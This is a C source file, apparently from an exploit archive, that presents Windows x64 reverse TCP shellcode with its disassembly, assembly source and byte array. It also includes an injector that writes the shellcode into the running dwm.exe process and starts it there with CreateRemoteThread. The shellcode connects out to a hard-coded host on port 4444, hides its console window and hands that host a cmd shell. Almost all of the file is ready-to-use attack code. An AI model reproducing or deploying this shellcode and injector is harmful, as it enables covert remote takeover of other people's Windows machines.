/*
# Title : Windows x64 Reverse Shell TCP shellcode
# size : 694 bytes
# Author: Roziul Hasan Khan Shifat
# Date : 10-11-2016
# Tested on : Windows 7 x64 Professional
# Email : shifath12@gmail.com
*/
/*
Disassembly of section .text:
0000000000000000 <s>:
0: 48 31 d2 xor %rdx,%rdx
3: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
8: 48 8b 70 18 mov 0x18(%rax),%rsi
c: 48 8b 76 10 mov 0x10(%rsi),%rsi
10: 48 ad lods %ds:(%rsi),%rax
12: 48 8b 30 mov (%rax),%rsi
15: 48 8b 7e 30 mov 0x30(%rsi),%rdi
19: b2 88 mov $0x88,%dl
1b: 8b 5f 3c mov 0x3c(%rdi),%ebx
1e: 48 01 fb add %rdi,%rbx
21: 8b 1c 13 mov (%rbx,%rdx,1),%ebx
24: 48 01 fb add %rdi,%rbx
27: 44 8b 73 1c mov 0x1c(%rbx),%r14d
2b: 49 01 fe add %rdi,%r14
2e: 66 ba fc 0c mov $0xcfc,%dx
32: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx
36: 48 01 fb add %rdi,%rbx
39: 48 31 d2 xor %rdx,%rdx
3c: 52 push %rdx
3d: 52 push %rdx
3e: c7 04 24 77 73 32 5f movl $0x5f327377,(%rsp)
45: c7 44 24 04 33 32 2e movl $0x642e3233,0x4(%rsp)
4c: 64
4d: 66 c7 44 24 08 6c 6c movw $0x6c6c,0x8(%rsp)
54: 48 8d 0c 24 lea (%rsp),%rcx
58: 48 83 ec 58 sub $0x58,%rsp
5c: ff d3 callq *%rbx
5e: 48 83 c4 68 add $0x68,%rsp
62: 48 89 c6 mov %rax,%rsi
65: 48 31 db xor %rbx,%rbx
68: 48 31 d2 xor %rdx,%rdx
6b: b2 88 mov $0x88,%dl
6d: 8b 5e 3c mov 0x3c(%rsi),%ebx
70: 48 01 f3 add %rsi,%rbx
73: 8b 1c 13 mov (%rbx,%rdx,1),%ebx
76: 48 01 f3 add %rsi,%rbx
79: 44 8b 7b 1c mov 0x1c(%rbx),%r15d
7d: 49 01 f7 add %rsi,%r15
80: 48 31 d2 xor %rdx,%rdx
83: 66 ba c8 01 mov $0x1c8,%dx
87: 41 8b 1c 17 mov (%r15,%rdx,1),%ebx
8b: 48 01 f3 add %rsi,%rbx
8e: 66 ba 98 01 mov $0x198,%dx
92: 48 29 d4 sub %rdx,%rsp
95: 48 8d 14 24 lea (%rsp),%rdx
99: 48 31 c9 xor %rcx,%rcx
9c: 66 b9 02 02 mov $0x202,%cx
a0: 48 83 ec 58 sub $0x58,%rsp
a4: ff d3 callq *%rbx
a6: 48 31 d2 xor %rdx,%rdx
a9: 48 83 ec 58 sub $0x58,%rsp
ad: 48 89 54 24 20 mov %rdx,0x20(%rsp)
b2: 48 89 54 24 28 mov %rdx,0x28(%rsp)
b7: 48 ff c2 inc %rdx
ba: 48 89 d1 mov %rdx,%rcx
bd: 48 ff c1 inc %rcx
c0: 4d 31 c0 xor %r8,%r8
c3: 49 83 c0 06 add $0x6,%r8
c7: 4d 31 c9 xor %r9,%r9
ca: 66 41 b9 88 01 mov $0x188,%r9w
cf: 43 8b 1c 0f mov (%r15,%r9,1),%ebx
d3: 48 01 f3 add %rsi,%rbx
d6: 4d 31 c9 xor %r9,%r9
d9: ff d3 callq *%rbx
db: 49 89 c5 mov %rax,%r13
de: 4d 31 c0 xor %r8,%r8
e1: 41 50 push %r8
e3: 41 50 push %r8
e5: c6 04 24 02 movb $0x2,(%rsp)
e9: 66 c7 44 24 02 11 5c movw $0x5c11,0x2(%rsp)
f0: c7 44 24 04 c0 a8 0a movl $0x800aa8c0,0x4(%rsp)
f7: 80
f8: 4c 8d 24 24 lea (%rsp),%r12
fc: 48 83 ec 58 sub $0x58,%rsp
0000000000000100 <c>:
100: 48 31 db xor %rbx,%rbx
103: 41 8b 5f 0c mov 0xc(%r15),%ebx
107: 48 01 f3 add %rsi,%rbx
10a: 4c 89 e2 mov %r12,%rdx
10d: 4c 89 e9 mov %r13,%rcx
110: 41 b0 10 mov $0x10,%r8b
113: ff d3 callq *%rbx
115: 4d 31 c0 xor %r8,%r8
118: 4c 39 c0 cmp %r8,%rax
11b: 75 e3 jne 100 <c>
11d: 48 31 db xor %rbx,%rbx
120: 41 8b 5e 40 mov 0x40(%r14),%ebx
124: 48 01 fb add %rdi,%rbx
127: ff d3 callq *%rbx
129: 48 31 d2 xor %rdx,%rdx
12c: 52 push %rdx
12d: 52 push %rdx
12e: c7 04 24 75 73 65 72 movl $0x72657375,(%rsp)
135: c7 44 24 04 33 32 2e movl $0x642e3233,0x4(%rsp)
13c: 64
13d: 66 c7 44 24 08 6c 6c movw $0x6c6c,0x8(%rsp)
144: 48 8d 0c 24 lea (%rsp),%rcx
148: 66 ba fc 0c mov $0xcfc,%dx
14c: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx
150: 48 01 fb add %rdi,%rbx
153: 48 83 ec 58 sub $0x58,%rsp
157: ff d3 callq *%rbx
159: 48 89 c6 mov %rax,%rsi
15c: 48 31 db xor %rbx,%rbx
15f: 48 31 d2 xor %rdx,%rdx
162: 66 ba 4a 02 mov $0x24a,%dx
166: 45 8b 24 96 mov (%r14,%rdx,4),%r12d
16a: 49 01 fc add %rdi,%r12
16d: 48 31 c9 xor %rcx,%rcx
170: 51 push %rcx
171: 51 push %rcx
172: c7 04 24 46 69 6e 64 movl $0x646e6946,(%rsp)
179: c7 44 24 04 57 69 6e movl $0x646e6957,0x4(%rsp)
180: 64
181: c7 44 24 08 6f 77 41 movl $0x4141776f,0x8(%rsp)
188: 41
189: 80 74 24 0b 41 xorb $0x41,0xb(%rsp)
18e: 48 8d 14 24 lea (%rsp),%rdx
192: 48 89 f1 mov %rsi,%rcx
195: 48 83 ec 58 sub $0x58,%rsp
199: 41 ff d4 callq *%r12
19c: 48 31 d2 xor %rdx,%rdx
19f: 52 push %rdx
1a0: 52 push %rdx
1a1: 52 push %rdx
1a2: c7 04 24 43 6f 6e 73 movl $0x736e6f43,(%rsp)
1a9: c7 44 24 04 6f 6c 65 movl $0x57656c6f,0x4(%rsp)
1b0: 57
1b1: c7 44 24 08 69 6e 64 movl $0x6f646e69,0x8(%rsp)
1b8: 6f
1b9: c7 44 24 0c 77 43 6c movl $0x616c4377,0xc(%rsp)
1c0: 61
1c1: 66 c7 44 24 10 73 73 movw $0x7373,0x10(%rsp)
1c8: 48 8d 0c 24 lea (%rsp),%rcx
1cc: 48 83 ec 58 sub $0x58,%rsp
1d0: ff d0 callq *%rax
1d2: 49 89 c7 mov %rax,%r15
1d5: 48 31 d2 xor %rdx,%rdx
1d8: 48 31 c9 xor %rcx,%rcx
1db: 51 push %rcx
1dc: 51 push %rcx
1dd: c7 04 24 53 68 6f 77 movl $0x776f6853,(%rsp)
1e4: c7 44 24 04 57 69 6e movl $0x646e6957,0x4(%rsp)
1eb: 64
1ec: 66 c7 44 24 08 6f 77 movw $0x776f,0x8(%rsp)
1f3: 48 8d 14 24 lea (%rsp),%rdx
1f7: 48 89 f1 mov %rsi,%rcx
1fa: 48 83 ec 58 sub $0x58,%rsp
1fe: 41 ff d4 callq *%r12
201: 4c 89 f9 mov %r15,%rcx
204: 48 31 d2 xor %rdx,%rdx
207: 48 83 ec 58 sub $0x58,%rsp
20b: ff d0 callq *%rax
20d: 66 ba 90 02 mov $0x290,%dx
211: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx
215: 48 01 fb add %rdi,%rbx
218: 48 83 ec 68 sub $0x68,%rsp
21c: 48 83 ec 18 sub $0x18,%rsp
220: 4c 8d 24 24 lea (%rsp),%r12
224: b2 68 mov $0x68,%dl
226: 48 31 c9 xor %rcx,%rcx
229: 41 89 14 24 mov %edx,(%r12)
22d: 49 89 4c 24 04 mov %rcx,0x4(%r12)
232: 49 89 4c 24 0c mov %rcx,0xc(%r12)
237: 49 89 4c 24 14 mov %rcx,0x14(%r12)
23c: 49 89 4c 24 18 mov %rcx,0x18(%r12)
241: 48 31 d2 xor %rdx,%rdx
244: b2 ff mov $0xff,%dl
246: 48 ff c2 inc %rdx
249: 41 89 54 24 3c mov %edx,0x3c(%r12)
24e: 4d 89 6c 24 50 mov %r13,0x50(%r12)
253: 4d 89 6c 24 58 mov %r13,0x58(%r12)
258: 4d 89 6c 24 60 mov %r13,0x60(%r12)
25d: 68 63 6d 64 41 pushq $0x41646d63
262: 88 54 24 03 mov %dl,0x3(%rsp)
266: 48 8d 14 24 lea (%rsp),%rdx
26a: 48 ff c1 inc %rcx
26d: 48 83 ec 58 sub $0x58,%rsp
271: 48 89 4c 24 20 mov %rcx,0x20(%rsp)
276: 48 31 c9 xor %rcx,%rcx
279: 4d 31 c0 xor %r8,%r8
27c: 4c 89 44 24 28 mov %r8,0x28(%rsp)
281: 4c 89 44 24 30 mov %r8,0x30(%rsp)
286: 4c 89 44 24 38 mov %r8,0x38(%rsp)
28b: 4d 8d 0c 24 lea (%r12),%r9
28f: 4c 89 4c 24 40 mov %r9,0x40(%rsp)
294: 4d 8d 4c 24 68 lea 0x68(%r12),%r9
299: 4c 89 4c 24 48 mov %r9,0x48(%rsp)
29e: 4d 31 c9 xor %r9,%r9
2a1: ff d3 callq *%rbx
2a3: 48 31 d2 xor %rdx,%rdx
2a6: 66 ba a0 04 mov $0x4a0,%dx
2aa: 41 8b 1c 16 mov (%r14,%rdx,1),%ebx
2ae: 48 01 fb add %rdi,%rbx
2b1: 48 31 c9 xor %rcx,%rcx
2b4: ff d3 callq *%rbx
*/
/*
section .text
global s
s:
xor rdx,rdx
mov rax,[gs:rdx+0x60]
mov rsi,[rax+0x18]
mov rsi,[rsi+0x10]
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30]
;--------------------------------
mov dl,0x88
mov ebx,[rdi+0x3c]
add rbx,rdi
mov ebx,[rbx+rdx]
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY
mov r14d,[rbx+0x1c]
add r14,rdi ;kernel32.dll AddressOfFunctions
;-----------------------
;loading ws2_32.dll
mov dx,831*4
mov ebx,[r14+rdx]
add rbx,rdi ;LoadLibraryA()
xor rdx,rdx
push rdx
push rdx
mov [rsp],dword 'ws2_'
mov [rsp+4],dword '32.d'
mov [rsp+8],word 'll'
lea rcx,[rsp]
sub rsp,88
call rbx
add rsp,104
mov rsi,rax ;ws2_32.dll base address
;--------------------------------------
xor rbx,rbx
xor rdx,rdx
;finding Export table of ws2_32.dll
mov dl,0x88
mov ebx,[rsi+0x3c]
add rbx,rsi
mov ebx,[rbx+rdx]
add rbx,rsi ;IMAGE_EXPORT_DIRECTORY
mov r15d,[rbx+0x1c]
add r15,rsi ;ws2_32.dll AddressOfFunctions
;--------------------------------------
;WSAStartup(514,&WSADATA)
xor rdx,rdx
mov dx,114*4
mov ebx,[r15+rdx]
add rbx,rsi ;rbx=WSAStartup()
mov dx,408
sub rsp,rdx
lea rdx,[rsp]
xor rcx,rcx
mov cx,514
sub rsp,88 ;reserving space for API call (Important)
call rbx
;-------------------------------------------------------
;WSASocketA(2,1,6,0,0,0)
xor rdx,rdx
sub rsp,88
mov [rsp+32],rdx
mov [rsp+40],rdx
inc rdx
mov rcx,rdx
inc rcx
xor r8,r8
add r8,6
xor r9,r9
mov r9w,98*4
mov ebx,[r15+r9]
add rbx,rsi ;rbx=WSASocketA()
xor r9,r9
call rbx
mov r13,rax ;r13=SOCKET
;------------------------------------------
xor r8,r8
push r8
push r8
mov [rsp],byte 2
mov [rsp+2],word 0x5c11 ;port 4444
mov [rsp+4],dword 0x800aa8c0 ;change it
lea r12,[rsp]
sub rsp,88
;-------------------------------------------
;connect(SOCKET,(struct sockaddr *)&struct sockaddr_in,16)
c:
xor rbx,rbx
mov ebx,[r15+12]
add rbx,rsi ;rbx=connect()
mov rdx,r12
mov rcx,r13
mov r8b,16
call rbx
xor r8,r8
cmp rax,r8
jnz c
;----------------------------------------------------------------------------------------
;Hiding Window
;----------------------------------------------------------------------------------------
;AllocConsole()
xor rbx,rbx
mov ebx,[r14+64]
add rbx,rdi ;rbx=AllocConsole()
call rbx
;------------------------------
;loading user32.dll
xor rdx,rdx
push rdx
push rdx
mov [rsp],dword 'user'
mov [rsp+4],dword '32.d'
mov [rsp+8],word 'll'
lea rcx,[rsp]
mov dx,831*4
mov ebx,[r14+rdx]
add rbx,rdi
sub rsp,88
call rbx
mov rsi,rax
;--------------------------------
xor rbx,rbx
xor rdx,rdx
;----------------------------------
;FindWindowA("ConsoleWindowClass",NULL)
mov dx,586
mov r12d,[r14+rdx*4]
add r12,rdi ;rbx=GetProcAddress()
xor rcx,rcx
push rcx
push rcx
mov [rsp],dword 'Find'
mov [rsp+4],dword 'Wind'
mov [rsp+8],dword 'owAA'
xor byte [rsp+11],0x41
lea rdx,[rsp]
mov rcx,rsi
sub rsp,88
call r12
;-----------------------------------
xor rdx,rdx
push rdx
push rdx
push rdx
mov [rsp],dword 'Cons'
mov [rsp+4],dword 'oleW'
mov [rsp+8],dword 'indo'
mov [rsp+12],dword 'wCla'
mov [rsp+16],word 'ss'
lea rcx,[rsp]
sub rsp,88
call rax
mov r15,rax
xor rdx,rdx
;---------------------------------------
;ShowWindow(HWND,0)
xor rcx,rcx
push rcx
push rcx
mov [rsp],dword 'Show'
mov [rsp+4],dword 'Wind'
mov [rsp+8],word 'ow'
lea rdx,[rsp]
mov rcx,rsi
sub rsp,88
call r12
mov rcx,r15
xor rdx,rdx
sub rsp,88
call rax
;-----------------------------------------------
;--------------------------------------------------------------------------------------------------------------------------------
;CreateProcessA()
mov dx,164*4
mov ebx,[r14+rdx]
add rbx,rdi
;STARTUPINFOA+PROCESS_INFORMATION
;----------------------------------
sub rsp,104
sub rsp,24
lea r12,[rsp]
mov dl,104
xor rcx,rcx
mov [r12],dword edx
mov [r12+4],rcx
mov [r12+12],rcx
mov [r12+20],rcx
mov [r12+24],rcx
xor rdx,rdx
mov dl,255
inc rdx
mov [r12+0x3c],edx
mov [r12+0x50],r13
mov [r12+0x58],r13
mov [r12+0x60],r13
;--------------------------------------------------
push 'cmdA'
mov [rsp+3],byte dl
lea rdx,[rsp]
inc rcx
;-------------------------------------
sub rsp,88
mov [rsp+32],rcx
xor rcx,rcx
xor r8,r8
mov [rsp+40],r8
mov [rsp+48],r8
mov [rsp+56],r8
lea r9,[r12]
mov [rsp+64],r9
lea r9,[r12+104]
mov [rsp+72],r9
xor r9,r9
call rbx
;-------------------------------
xor rdx,rdx
mov dx,296*4
mov ebx,[r14+rdx]
add rbx,rdi
xor rcx,rcx
call rbx
*/
#include<stdio.h>
#include<windows.h>
#include<TlHelp32.h>
#include<string.h>
char shellcode[]="\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x44\x8b\x73\x1c\x49\x01\xfe\x66\xba\xfc\x0c\x41\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x52\x52\xc7\x04\x24\x77\x73\x32\x5f\xc7\x44\x24\x04\x33\x32\x2e\x64\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x48\x83\xc4\x68\x48\x89\xc6\x48\x31\xdb\x48\x31\xd2\xb2\x88\x8b\x5e\x3c\x48\x01\xf3\x8b\x1c\x13\x48\x01\xf3\x44\x8b\x7b\x1c\x49\x01\xf7\x48\x31\xd2\x66\xba\xc8\x01\x41\x8b\x1c\x17\x48\x01\xf3\x66\xba\x98\x01\x48\x29\xd4\x48\x8d\x14\x24\x48\x31\xc9\x66\xb9\x02\x02\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x48\x83\xec\x58\x48\x89\x54\x24\x20\x48\x89\x54\x24\x28\x48\xff\xc2\x48\x89\xd1\x48\xff\xc1\x4d\x31\xc0\x49\x83\xc0\x06\x4d\x31\xc9\x66\x41\xb9\x88\x01\x43\x8b\x1c\x0f\x48\x01\xf3\x4d\x31\xc9\xff\xd3\x49\x89\xc5\x4d\x31\xc0\x41\x50\x41\x50\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x0a\x80\x4c\x8d\x24\x24\x48\x83\xec\x58\x48\x31\xdb\x41\x8b\x5f\x0c\x48\x01\xf3\x4c\x89\xe2\x4c\x89\xe9\x41\xb0\x10\xff\xd3\x4d\x31\xc0\x4c\x39\xc0\x75\xe3\x48\x31\xdb\x41\x8b\x5e\x40\x48\x01\xfb\xff\xd3\x48\x31\xd2\x52\x52\xc7\x04\x24\x75\x73\x65\x72\xc7\x44\x24\x04\x33\x32\x2e\x64\x66\xc7\x44\x24\x08\x6c\x6c\x48\x8d\x0c\x24\x66\xba\xfc\x0c\x41\x8b\x1c\x16\x48\x01\xfb\x48\x83\xec\x58\xff\xd3\x48\x89\xc6\x48\x31\xdb\x48\x31\xd2\x66\xba\x4a\x02\x45\x8b\x24\x96\x49\x01\xfc\x48\x31\xc9\x51\x51\xc7\x04\x24\x46\x69\x6e\x64\xc7\x44\x24\x04\x57\x69\x6e\x64\xc7\x44\x24\x08\x6f\x77\x41\x41\x80\x74\x24\x0b\x41\x48\x8d\x14\x24\x48\x89\xf1\x48\x83\xec\x58\x41\xff\xd4\x48\x31\xd2\x52\x52\x52\xc7\x04\x24\x43\x6f\x6e\x73\xc7\x44\x24\x04\x6f\x6c\x65\x57\xc7\x44\x24\x08\x69\x6e\x64\x6f\xc7\x44\x24\x0c\x77\x43\x6c\x61\x66\xc7\x44\x24\x10\x73\x73\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x49\x89\xc7\x48\x31\xd2\x48\x31\xc9\x51\x51\xc7\x04\x24\x53\x68\x6f\x77\xc7\x44\x24\x04\x57\x69\x6e\x64\x66\xc7\x44\x24\x08\x6f\x77\x48\x8d\x14\x24\x48\x89\xf1\x48\x83\xec\x58\x41\xff\xd4\x4c\x89\xf9\x48\x31\xd2\x48\x83\xec\x58\xff\xd0\x66\xba\x90\x02\x41\x8b\x1c\x16\x48\x01\xfb\x48\x83\xec\x68\x48\x83\xec\x18\x4c\x8d\x24\x24\xb2\x68\x48\x31\xc9\x41\x89\x14\x24\x49\x89\x4c\x24\x04\x49\x89\x4c\x24\x0c\x49\x89\x4c\x24\x14\x49\x89\x4c\x24\x18\x48\x31\xd2\xb2\xff\x48\xff\xc2\x41\x89\x54\x24\x3c\x4d\x89\x6c\x24\x50\x4d\x89\x6c\x24\x58\x4d\x89\x6c\x24\x60\x68\x63\x6d\x64\x41\x88\x54\x24\x03\x48\x8d\x14\x24\x48\xff\xc1\x48\x83\xec\x58\x48\x89\x4c\x24\x20\x48\x31\xc9\x4d\x31\xc0\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\x4c\x89\x44\x24\x38\x4d\x8d\x0c\x24\x4c\x89\x4c\x24\x40\x4d\x8d\x4c\x24\x68\x4c\x89\x4c\x24\x48\x4d\x31\xc9\xff\xd3\x48\x31\xd2\x66\xba\xa0\x04\x41\x8b\x1c\x16\x48\x01\xfb\x48\x31\xc9\xff\xd3";
void inject(DWORD );
int main()
{
char program_name[]="dwm.exe"; //Process name to inject. change it if U Want
BOOL f=0;
HANDLE snap;
PROCESSENTRY32 pe32;
snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snap==INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot() Failed."); return 0;
}
pe32.dwSize=sizeof(pe32);
if(!Process32First(snap,&pe32))
{
printf("Process32First() Failed."); return 0;
}
do
{
if(0==strncmp(program_name,pe32.szExeFile,strlen(program_name)))
{
f=TRUE;
break;
}
}while(Process32Next(snap,&pe32));
if(!f)
{
printf("No infomation found about \"%s\" ",program_name);
}
else
{
printf("Program name:%s\nProcess id: %d",pe32.szExeFile,pe32.th32ProcessID);
printf("\nInjecting shellcode");
inject(pe32.th32ProcessID);
}
return 0;
}
void inject(DWORD pid)
{
HANDLE phd,h;
LPVOID shell;
phd=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
if(phd==INVALID_HANDLE_VALUE)
{
printf("\nOpenProcess() Failed."); return ;
}
shell=VirtualAllocEx(phd,0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(shell==NULL)
{
printf("\nVirtualAllocEx() Failed"); CloseHandle(phd); return ;
}
WriteProcessMemory(phd,shell,shellcode,sizeof(shellcode),0);
printf("\nInjection successfull\n");
printf("Running Shellcode......\n");
h=CreateRemoteThread(phd,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0);
if(h==NULL)
{
printf("Failed to Run Shellcode\n"); return ;
}
else
printf("shellcode Execution Successfull");
}